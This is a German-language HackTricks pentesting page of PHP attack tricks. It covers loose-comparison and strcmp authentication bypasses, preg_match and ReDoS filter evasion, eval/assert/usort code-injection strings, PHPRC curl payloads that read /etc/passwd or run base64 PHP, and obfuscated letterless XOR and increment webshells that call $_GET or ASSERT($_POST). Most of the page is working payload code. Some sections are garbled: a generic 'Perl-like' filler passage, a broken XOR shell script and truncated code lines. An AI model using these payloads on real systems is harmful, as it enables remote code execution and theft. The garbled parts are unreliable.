hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

# PHP Tricks

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>

## Cookies allgemeiner Speicherort:

Dies gilt auch für phpMyAdmin-Cookies.

Cookies:
```
PHPSESSID
phpMyAdmin
```
Standorte:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Umgehung von PHP-Vergleichen

### Lockere Vergleiche/Typumwandlung ( == )

Wenn `==` in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Dies liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch den Typ der verglichenen Daten vergleichen möchten, müssen Sie `===` verwenden.

PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)

![](<../../../.gitbook/assets/image (40) (1).png>)

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

* `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl.
* `"0xAAAA" == "43690" -> True` Zeichenketten, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Zeichenketten verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einer Zeichenkette werden als Zahlen interpretiert).
* `"0e3264578" == 0 --> True` Eine Zeichenkette, die mit "0e" beginnt und von beliebigem Inhalt gefolgt wird, ist gleich 0.
* `"0X3264578" == 0X --> True` Eine Zeichenkette, die mit "0" beginnt und von einem beliebigen Buchstaben gefolgt wird (X kann ein beliebiger Buchstabe sein) und von beliebigem Inhalt gefolgt wird, ist gleich 0.
* `"0e12334" == "0" --> True` Dies ist sehr interessant, weil Sie in einigen Fällen den Zeichenketten-Eingang von "0" und einem Inhalt steuern können, der gehasht wird und mit ihm verglichen wird. Wenn Sie also einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und keinen Buchstaben enthält, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Zeichenketten** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Jeder Buchstabe in einer Zeichenkette ist gleich der Ganzzahl 0.

Weitere Informationen finden Sie unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)

### **in\_array()**

**Typumwandlung** betrifft auch die Funktion `in_array()` standardmäßig (Sie müssen das dritte Argument auf true setzen, um einen strengen Vergleich durchzuführen):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()

Wenn diese Funktion für **eine beliebige Authentifizierungsprüfung** verwendet wird (wie zum Beispiel das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er anstelle eines Strings ein leeres Array als Passwortwert senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Prüfung umgehen:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
Der gleiche Fehler tritt bei `strcasecmp()` auf.

### Striktes Typ-Juggling

Auch wenn `===` verwendet wird, können Fehler auftreten, die den Vergleich anfällig für Typ-Juggling machen. Zum Beispiel, wenn der Vergleich die Daten vor dem Vergleich in einen anderen Objekttyp umwandelt:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)

Die Funktion **`preg_match()`** kann verwendet werden, um die **Benutzereingabe zu validieren** (sie überprüft, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe vorhanden** ist und wenn nicht, kann der Code seine Ausführung fortsetzen).

#### Umgehung der Zeilenumbruchprüfung

Jedoch überprüft `preg_match()` beim Begrenzen des Anfangs des Regexps nur die erste Zeile der Benutzereingabe. Wenn es Ihnen also irgendwie gelingt, die Eingabe in **mehreren Zeilen** zu **senden**, könnten Sie diese Überprüfung umgehen. Beispiel:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```
Um diese Überprüfung zu umgehen, könnten Sie den Wert mit neuen Zeilen urlcodiert senden (`%0A`) oder, wenn Sie JSON-Daten senden können, senden Sie sie in mehreren Zeilen:
```php
{
"cmd": "cat /etc/passwd"
}
```
Ein Beispiel finden Sie hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)

#### **Längenfehler umgehen**

(Dieser Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte es nicht auf PHP 7.3.15 zum Laufen bringen)\
Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, wird es **nicht in der Lage sein, sie zu verarbeiten** und Sie können die Überprüfung **umgehen**. Zum Beispiel, wenn es JSON auf die Blacklist setzt, könnten Sie Folgendes senden:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS Bypass

Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)


<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>

Kurz gesagt tritt das Problem auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) aufbauen. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, die viel Stack-Speicher verbrauchen. Es ist möglich, eine Begrenzung für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP ist diese Begrenzung [standardmäßig auf 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) eingestellt, was mehr ist als in den Stack passt.

[Auf diesem Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde auch in dem Beitrag verlinkt, in dem dieses Problem genauer erläutert wird. Unsere Aufgabe war nun klar:\
**Senden Sie eine Eingabe, die das Regex dazu bringt, 100.000+ Rekursionen durchzuführen, was zu SIGSEGV führt und dazu führt, dass die Funktion `preg_match()` `false` zurückgibt. Dadurch denkt die Anwendung, dass unsere Eingabe nicht bösartig ist, und wir können am Ende der Nutzlast mit etwas wie `{system(<sehrschlechterbefehl>)}` eine Überraschung auslösen, um SSTI --> RCE --> Flag zu erhalten :)**.

Nun, in Bezug auf Regex machen wir tatsächlich keine 100.000 "Rekursionen", sondern wir zählen "Backtracking-Schritte", wie es in der [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) heißt, die standardmäßig auf 1.000.000 (1M) in der Variable `pcre.backtrack_limit` festgelegt ist.\
Um das zu erreichen, führt `'X'*500_001` zu 1 Million Backtracking-Schritten (500k vorwärts und 500k rückwärts):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Typ-Jonglieren zur PHP-Verschleierung

Type Juggling ist eine Technik, die in PHP verwendet werden kann, um den Code zu verschleiern und die Lesbarkeit zu erschweren. Diese Technik nutzt die Art und Weise, wie PHP mit unterschiedlichen Datentypen umgeht, um den Code zu manipulieren.

In PHP können Variablen automatisch in verschiedene Datentypen umgewandelt werden, je nachdem, wie sie verwendet werden. Dies ermöglicht es uns, bestimmte Eigenschaften von PHP auszunutzen, um den Code zu verschleiern.

Ein Beispiel für Typ-Jonglieren ist die Verwendung von Vergleichsoperatoren. Wenn wir beispielsweise den Vergleichsoperator "==" verwenden, führt PHP eine implizite Typumwandlung durch, um die Vergleichbarkeit der Werte zu ermöglichen. Dies kann dazu führen, dass zwei scheinbar unterschiedliche Werte als gleich angesehen werden.

Ein weiteres Beispiel ist die Verwendung von arithmetischen Operationen. Wenn wir beispielsweise eine Zeichenkette mit einer Zahl addieren, wandelt PHP die Zeichenkette automatisch in eine Zahl um und führt die Addition durch.

Diese Art der Verschleierung kann es schwieriger machen, den Code zu verstehen und zu analysieren, da die Absicht hinter den Operationen nicht offensichtlich ist. Es ist jedoch wichtig zu beachten, dass dies keine sichere Methode ist, um den Code vor Reverse Engineering oder Angriffen zu schützen. Es ist lediglich eine Technik, um die Lesbarkeit zu erschweren.

Es ist auch wichtig zu beachten, dass Typ-Jonglieren in einigen Fällen zu unerwartetem Verhalten führen kann. Es ist daher ratsam, diese Technik mit Vorsicht anzuwenden und die Auswirkungen auf den Code zu überprüfen.

Insgesamt kann Typ-Jonglieren eine nützliche Technik sein, um den Code zu verschleiern und die Lesbarkeit zu erschweren. Es ist jedoch wichtig, die Auswirkungen und potenziellen Risiken zu verstehen, bevor man diese Technik anwendet.
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Execute After Redirect (EAR)

Wenn PHP zu einer anderen Seite umleitet, aber keine **`die`** oder **`exit`** Funktion **nach dem Setzen des Headers `Location`** aufgerufen wird, wird PHP fortgesetzt und fügt die Daten dem Body hinzu:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Weitere Tricks

* **register\_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register\_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Dies bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben, z.B. $\_GET\["param"]="1234", darauf über **$param zugegriffen werden kann. Daher können Sie durch das Senden von HTTP-Parametern Variablen überschreiben**, die im Code verwendet werden.
* Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher können Sie, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden** verwendet werden, bewirken, dass ein Pfad **auf das Cookie des anderen Pfads zugreift**, indem Sie den Wert des Cookies des anderen Pfads setzen.\
Auf diese Weise können Sie, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, den **Wert dieser Variable in Pfad1 auf Pfad2 anwenden**. Und dann werden die Variablen von Pfad1 von Pfad2 als gültig betrachtet (indem Sie dem Cookie den entsprechenden Namen in Pfad2 geben).
* Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben, überprüfen Sie die Adresse: **/\~\<BENUTZERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
* [**LFI und RCE mit php wrappers**](../../../pentesting-web/file-inclusion/)

### password\_hash/password\_verify

Diese Funktionen werden typischerweise in PHP verwendet, um **Hashes aus Passwörtern zu generieren** und zu überprüfen, ob ein Passwort mit einem Hash übereinstimmt.\
Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD\_DEFAULT häufig dasselbe wie PASSWORD\_BCRYPT ist**. Und derzeit hat **PASSWORD\_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Wenn Sie also versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72 Bytes verwendet:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Umgehung von HTTP-Headern durch Ausnutzung von PHP-Fehlern

Wenn eine **PHP-Seite Fehler druckt und einige vom Benutzer bereitgestellte Eingaben ausgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **ausreichend lange Inhalte** zurückzugeben, sodass beim Versuch, die Header in die Antwort einzufügen, der Server einen Fehler wirft.\
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler zu werfen**, und wie Sie auf dem Bildschirm sehen können, konnte PHP beim **Ändern der Header-Informationen dies nicht tun** (beispielsweise wurde der CSP-Header nicht an den Benutzer gesendet):

![](<../../../.gitbook/assets/image (465).png>)

## Code-Ausführung

**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**

[Überprüfen Sie dies für weitere nützliche PHP-Funktionen](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Um den Code im "replace" Argument auszuführen, ist mindestens eine Übereinstimmung erforderlich.\
Diese Option von preg\_replace wurde **ab PHP 5.5.0 als veraltet markiert.**

### **RCE über Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **RCE über Assert()**

Diese Funktion in PHP ermöglicht es Ihnen, **Code auszuführen, der in einem String geschrieben ist**, um **true oder false zurückzugeben** (und je nachdem die Ausführung zu ändern). Normalerweise wird die Benutzervariable in der Mitte eines Strings eingefügt. Zum Beispiel:\
`assert("strpos($_GET['page']),'..') === false")` --> In diesem Fall könnten Sie **RCE** erreichen, indem Sie Folgendes tun:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Sie müssen den Code **brechen**, die **Syntax** **hinzufügen** und dann wieder **reparieren**. Sie können **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachten Sie, dass "or" und "||" nicht funktionieren, da unser Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unser Payload nicht ausgeführt wird.

**Eine andere Option** besteht darin, der Zeichenkette die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`

**Eine andere Option** (wenn Sie den internen Code haben) besteht darin, eine Variable zu ändern, um die Ausführung zu beeinflussen: `$file = "hola"`

### **RCE über usort()**

Diese Funktion wird verwendet, um ein Array von Elementen mithilfe einer bestimmten Funktion zu sortieren.\
Um diese Funktion zu missbrauchen:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
Sie können auch **//** verwenden, um den restlichen Code zu kommentieren.

Um die Anzahl der Klammern zu ermitteln, die Sie schließen müssen:

* `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlen uns eine oder mehrere Klammern.
* `?order=id);}//`: Wir erhalten eine **Warnung**. Das scheint richtig zu sein.
* `?order=id));}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ')' i`). Wahrscheinlich haben wir zu viele schließende Klammern.

### **RCE über .httaccess**

Wenn Sie eine **.htaccess**-Datei **hochladen** können, können Sie verschiedene Dinge konfigurieren und sogar Code ausführen (indem Sie festlegen, dass Dateien mit der Erweiterung .htaccess **ausgeführt** werden können).

Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/htshells)

### RCE über Umgebungsvariablen

Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine weitere, um Dateien hochzuladen, obwohl dies möglicherweise umgangen werden kann), können Sie dieses Verhalten missbrauchen, um **RCE** zu erhalten.

* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Diese Umgebungsvariable ermöglicht das Laden beliebiger Bibliotheken beim Ausführen anderer Binärdateien (obwohl dies in diesem Fall möglicherweise nicht funktioniert).
* **`PHPRC`** : Gibt PHP an, **wo sich seine Konfigurationsdatei** befindet, normalerweise `php.ini` genannt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen Eintrag **`auto_prepend_file`** hinzu, der auf eine zweite hochgeladene Datei verweist. Diese zweite Datei enthält normalen **PHP-Code, der dann** vom PHP-Laufzeitmodul vor jedem anderen Code ausgeführt wird.
1. Laden Sie eine PHP-Datei hoch, die unseren Shellcode enthält.
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Anweisung enthält, die den PHP-Präprozessor anweist, die Datei, die wir in Schritt 1 hochgeladen haben, auszuführen.
3. Setzen Sie die Variable `PHPRC` auf die Datei, die wir in Schritt 2 hochgeladen haben.
* Weitere Informationen zur Ausführung dieser Kette finden Sie im [**ursprünglichen Bericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - eine weitere Option
* Wenn Sie **keine Dateien hochladen können**, können Sie in FreeBSD die Datei "/dev/fd/0" verwenden, die den **`stdin`** enthält, der den **Body** der Anfrage enthält, der an den `stdin` gesendet wird:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* Oder um RCE zu erhalten, aktivieren Sie **`allow_url_include`** und fügen Sie eine Datei mit **base64 PHP-Code** hinzu:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* Technik [**aus diesem Bericht**](https://vulncheck.com/blog/juniper-cve-2023-36845).

## Statische Analyse von PHP

Überprüfen Sie, ob Sie Code in Aufrufe dieser Funktionen einfügen können (von [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Wenn Sie eine PHP-Anwendung debuggen, können Sie das Anzeigen von Fehlern global in `/etc/php5/apache2/php.ini` aktivieren, indem Sie `display_errors = On` hinzufügen und Apache neu starten: `sudo systemctl restart apache2`

### Entschlüsselung von PHP-Code

Sie können die Website [www.unphp.net](http://www.unphp.net) verwenden, um PHP-Code zu entschlüsseln.

## PHP-Wrappers und Protokolle

PHP-Wrappers und Protokolle können es Ihnen ermöglichen, Schreib- und Leseschutz in einem System zu umgehen und es zu kompromittieren. Weitere Informationen finden Sie auf [dieser Seite](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).

## Xdebug unauthentifizierte RCE

Wenn Sie feststellen, dass Xdebug in einer `phpconfig()`-Ausgabe aktiviert ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten.

## Variable Variablen
```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b"])

Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, können Sie möglicherweise RCE erlangen. Überprüfen Sie die folgende Seite, um mehr zu erfahren:

{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}

## PHP ohne Buchstaben ausführen

[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)

### Verwendung von Oktalzahlen
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**

Die XOR-Operation (Exclusive OR) ist eine logische Operation, die auf zwei binären Eingaben durchgeführt wird. Das Ergebnis ist 1, wenn die beiden Eingaben unterschiedlich sind, andernfalls ist das Ergebnis 0.

In der Kryptographie wird XOR häufig verwendet, um Daten zu verschlüsseln und zu entschlüsseln. Durch Anwendung der XOR-Operation auf die Daten und einen Schlüssel wird eine Verschlüsselung erzeugt. Um die Daten wiederherzustellen, wird erneut die XOR-Operation auf die verschlüsselten Daten und den gleichen Schlüssel angewendet.

XOR kann auch in der Programmierung verwendet werden, um bestimmte Aufgaben zu erfüllen, wie zum Beispiel das Umkehren von Bits oder das Erzeugen von Prüfsummen.

Die XOR-Operation ist eine wichtige Technik in der Welt des Hackings, da sie in verschiedenen Angriffsszenarien verwendet werden kann, wie zum Beispiel bei der Analyse von verschlüsselten Daten oder beim Umgehen von Sicherheitsmechanismen.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR einfacher Shell-Code

Laut [**diesem Bericht**](https://mgp25.com/ctf/Web-challenge/) ist es möglich, auf einfache Weise einen Shell-Code zu generieren, indem man Folgendes tut:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
So, wenn Sie **beliebigen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diesen Payload zu missbrauchen und beliebigen PHP-Code auszuführen:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Für eine ausführlichere Erklärung siehe [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)

### XOR Shellcode (innerhalb von eval)
```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl-ähnlich

Perl ist eine weit verbreitete Skriptsprache, die für ihre leistungsstarke Textverarbeitungsfähigkeiten bekannt ist. In diesem Abschnitt werden einige Perl-ähnliche Funktionen und Techniken in PHP vorgestellt, die Ihnen helfen können, Ihre Webanwendungen effizienter zu entwickeln.

#### Reguläre Ausdrücke

Reguläre Ausdrücke sind ein leistungsstarkes Werkzeug zur Mustererkennung und Textmanipulation. In PHP können Sie reguläre Ausdrücke mit der `preg_match()`-Funktion verwenden. Hier ist ein Beispiel, wie Sie eine Telefonnummer aus einem Text extrahieren können:

```php
$text = "Meine Telefonnummer ist 123-456-7890";
$pattern = "/\d{3}-\d{3}-\d{4}/";
preg_match($pattern, $text, $matches);
$phone_number = $matches[0];
```

#### String-Manipulation

PHP bietet eine Vielzahl von Funktionen zur Manipulation von Zeichenketten. Hier sind einige Beispiele:

- `strlen()`: Gibt die Länge einer Zeichenkette zurück.
- `strpos()`: Sucht nach dem ersten Vorkommen eines Substrings in einer Zeichenkette.
- `str_replace()`: Ersetzt alle Vorkommen eines Substrings in einer Zeichenkette.
- `strtolower()`: Konvertiert eine Zeichenkette in Kleinbuchstaben.
- `strtoupper()`: Konvertiert eine Zeichenkette in Großbuchstaben.

#### Dateioperationen

PHP bietet auch Funktionen zum Lesen und Schreiben von Dateien. Hier sind einige Beispiele:

- `file_get_contents()`: Liest den Inhalt einer Datei in eine Zeichenkette.
- `file_put_contents()`: Schreibt eine Zeichenkette in eine Datei.
- `file_exists()`: Überprüft, ob eine Datei existiert.
- `unlink()`: Löscht eine Datei.

#### Systembefehle ausführen

Mit der `exec()`-Funktion können Sie Systembefehle direkt von PHP ausführen. Hier ist ein Beispiel:

```php
$command = "ls -l";
$output = exec($command);
echo $output;
```

#### Datenbankzugriff

PHP bietet verschiedene Funktionen zum Arbeiten mit Datenbanken. Hier sind einige Beispiele:

- `mysqli_connect()`: Stellt eine Verbindung zu einer MySQL-Datenbank her.
- `mysqli_query()`: Führt eine SQL-Abfrage auf der Datenbank aus.
- `mysqli_fetch_assoc()`: Ruft eine Zeile aus dem Abfrageergebnis als assoziatives Array ab.

Diese Perl-ähnlichen Funktionen und Techniken können Ihnen helfen, Ihre PHP-Webanwendungen effizienter zu entwickeln und komplexe Aufgaben zu automatisieren.
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>